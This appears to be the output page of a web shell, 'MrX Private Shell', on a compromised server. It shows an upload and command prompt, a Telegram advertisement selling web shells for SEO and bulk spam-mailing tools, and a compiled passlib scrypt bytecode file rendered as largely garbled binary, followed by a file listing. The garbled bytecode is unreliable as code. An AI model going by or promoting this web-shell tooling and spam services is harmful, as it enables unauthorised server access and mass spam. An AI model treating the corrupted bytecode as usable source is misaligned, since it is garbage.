__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

XR_�"��X�SrSSKrSSKrSSKJr SSKJr SSKJr S/r	"SS\
5rg)z<passlib.utils.scrypt._builtin -- scrypt() kdf in pure-python�N)�izip)�pbkdf2_hmac)�salsa20�ScryptEnginec�j�\rSrSrSrSrSrSrSrSr	Sr
SrSrSr
\S5rSrSrSrS	rS
rSrg)r�z�
helper class used to run scrypt kdf, see scrypt() for frontend

.. warning::
    this class does NO validation of the input ranges or types.

    it's not intended to be used directly,
    but only as a backend for :func:`passlib.utils.scrypt.scrypt()`.
rNc�4�U"X4U5RXU5$)z-create engine & run scrypt() hash calculation)�run)�cls�secret�salt�n�r�p�keylens       �@/usr/lib/python3/dist-packages/passlib/crypto/scrypt/_builtin.py�execute�ScryptEngine.execute2s���1��|����f�5�5�c�
^^�XlX lX0lUS-UlURU-UlUS-=UlnUS-Ul[R"S5S:Xde[R"S[U5-S-5UlUS:XaURUl
US::a[R"S5nO;US	::de[R"S5m[R"S
5mUU4SjnXPlg)N����I�<�l����l����i��c�,>�T"U5T"U5S--$)N� �)�X�ig1�ig2s ��r�
integerify�)ScryptEngine.__init__.<locals>.integerifyUs����1�v��Q����,�,r)rrr�
smix_bytes�iv_bytes�bmix_len�
bmix_half_len�struct�calcsize�Struct�str�bmix_struct�_bmix_1�bmix�operator�
itemgetterr$)�selfrrrr(r$r"r#s      @@r�__init__�ScryptEngine.__init__:s�����������q�&������!�+��
�#$��6�)��
���!�V������s�#�q�(�(�(�!�=�=��s�8�}�)<�s�)B�C���
��6����D�I�
�
�?�!�,�,�S�1�J��*�*�*�*��%�%�c�*�C��%�%�c�*�C�
-�$�rc�^^^�URn[SXSUS9mURmURS:Xa	T"T5nO4URmSRUUU4Sj[
SUT555n[SXSUS9$)z�
run scrypt kdf for specified secret, salt, and keylen

.. note::

    * time cost is ``O(n * r * p)``
    * mem cost is ``O(n * r)``
�sha256r)�roundsrrc3�>># �UHnT"TXT-5v� M g7f�Nr )�.0�offset�input�smixr&s  ���r�	<genexpr>�#ScryptEngine.run.<locals>.<genexpr>rs*�����<�F��U�6��"3�4�5�5�<�s�r)r'rr>rr&�join�range)	r3rr
rr'�outputr=r>r&s	      @@@rr
�ScryptEngine.run\s����=�=���H�f�1�X�N���y�y���6�6�Q�;��%�[�F����J��X�X��#�A�x��<���F��8�V�A�f�M�Mrc	�^^^
�URmURnURnURm
[	URU55mUUU
4Sjn[	U"55nURnT
S-
nSnUT
:aCU"T5U-n	[S[TU"U	5555n
T"U
T5 US-
nUT
:aMCUR"T6$)a3run SCrypt smix function on a single input block

:arg input:
    byte string containing input data.
    interpreted as 32*r little endian 4 byte integers.

:returns:
    byte string containing output data
    derived by mixing input using n & r parameters.

.. note:: time & mem cost are both ``O(n * r)``
c3�j># �SnUT:a&[T5nUv� T"UT5 US-
nUT:aM%gg7f)Nrr)�tuple)�i�lastr0�bufferrs  ���r�vgen�ScryptEngine.smix.<locals>.vgen�s<�����A��a�%��V�}���
��T�6�"��Q���	�a�%�s�,3�3rrc3�.# �UHupX-v� M
 g7fr:r �r;�a�bs   rr?�$ScryptEngine.smix.<locals>.<genexpr>�s���I�-H�T�Q�1�5�-H���)
r0r.r$r�list�unpack�__getitem__rGr�pack)r3r=r.r$rK�V�
get_v_elem�n_maskrH�j�resultr0rJrs           @@@rr>�ScryptEngine.smix}s�����y�y���&�&���_�_�
��F�F���k�(�(��/�0��	�
���L���]�]�
��Q���
���!�e��6�"�V�+�A��I�T�&�*�Q�-�-H�I�I�F���� �
��F�A�	�!�e� ����(�(rc���URnUSSn[U5nSnXc:aRUS-n[S[XE555=X&U&n[S[XE555=X#U-X7-&nUnXc:aMQgg)aj
block mixing function used by smix()
uses salsa20/8 core to mix block contents.

:arg source:
    source to read from.
    should be list of 32*r 4-byte integers
    (2*r salsa20 blocks).

:arg target:
    target to write to.
    should be list with same size as source.
    the existing value of this buffer is ignored.

.. warning::

    this operates *in place* on target,
    so source & target should NOT be same list.

.. note::

    * time cost is ``O(r)`` -- loops 16*r times, salsa20() has ``O(1)`` cost.

    * memory cost is ``O(1)`` -- salsa20() uses 16 x uint4,
      all other operations done in-place.
rNr�c3�.# �UHupX-v� M
 g7fr:r rNs   rr?�$ScryptEngine.bmix.<locals>.<genexpr>�s���(L�;K�4�1���;K�rRc3�.# �UHupX-v� M
 g7fr:r rNs   rr?r`�s���2V�EU�T�Q�1�5�EU�rR)r)�iterrr)r3�source�target�half�tmp�siterrZ�jns        rr0�ScryptEngine.bmix�s���<�!�!���S�T�l���V���
���h��2��B�!(�(L�4��;K�(L�!L�L�F�R�L�3�+2�2V�T�#�EU�2V�+V�V�F��6�$�'�"�S��A�	�hrc	��USSn[S[U[U5555=USS&n[S[XC555USS&g)z0special bmix() method optimized for ``r=1`` caser^Nc3�.# �UHupX-v� M
 g7fr:r rNs   rr?�'ScryptEngine._bmix_1.<locals>.<genexpr>�s���#L�6K�d�a�A�E�6K�rRc3�.# �UHupX-v� M
 g7fr:r rNs   rr?rl�s���=����a�e��rR)rrrb)r3rcrd�Brfs     rr/�ScryptEngine._bmix_1�sM���2�3�K��#�#L�d�1�d�6�l�6K�#L�L�L��s���c��=��S��=�=��r�s�r)
r0r)r(r.r$r'rrrr&)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrrr&r'r(r)r.r$�classmethodrr4r
r>r0r/�__static_attributes__r rrrrsj���	
�A�	�A�	�A��J��H��H��M��K��J�
�6��6�%�DN�B>)�F&�P>r)rtr1r*�passlib.utils.compatr�passlib.crypto.digestr�passlib.crypto.scrypt._salsar�__all__�objectrr rr�<module>r|s3��B�
�
�%�-�0��
��X>�6�X>r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 7.54 KB 0644
_builtin.cpython-313.pyc File 7.61 KB 0644
_gen_files.cpython-313.pyc File 3.54 KB 0644
_salsa.cpython-313.pyc File 4.45 KB 0644
Filemanager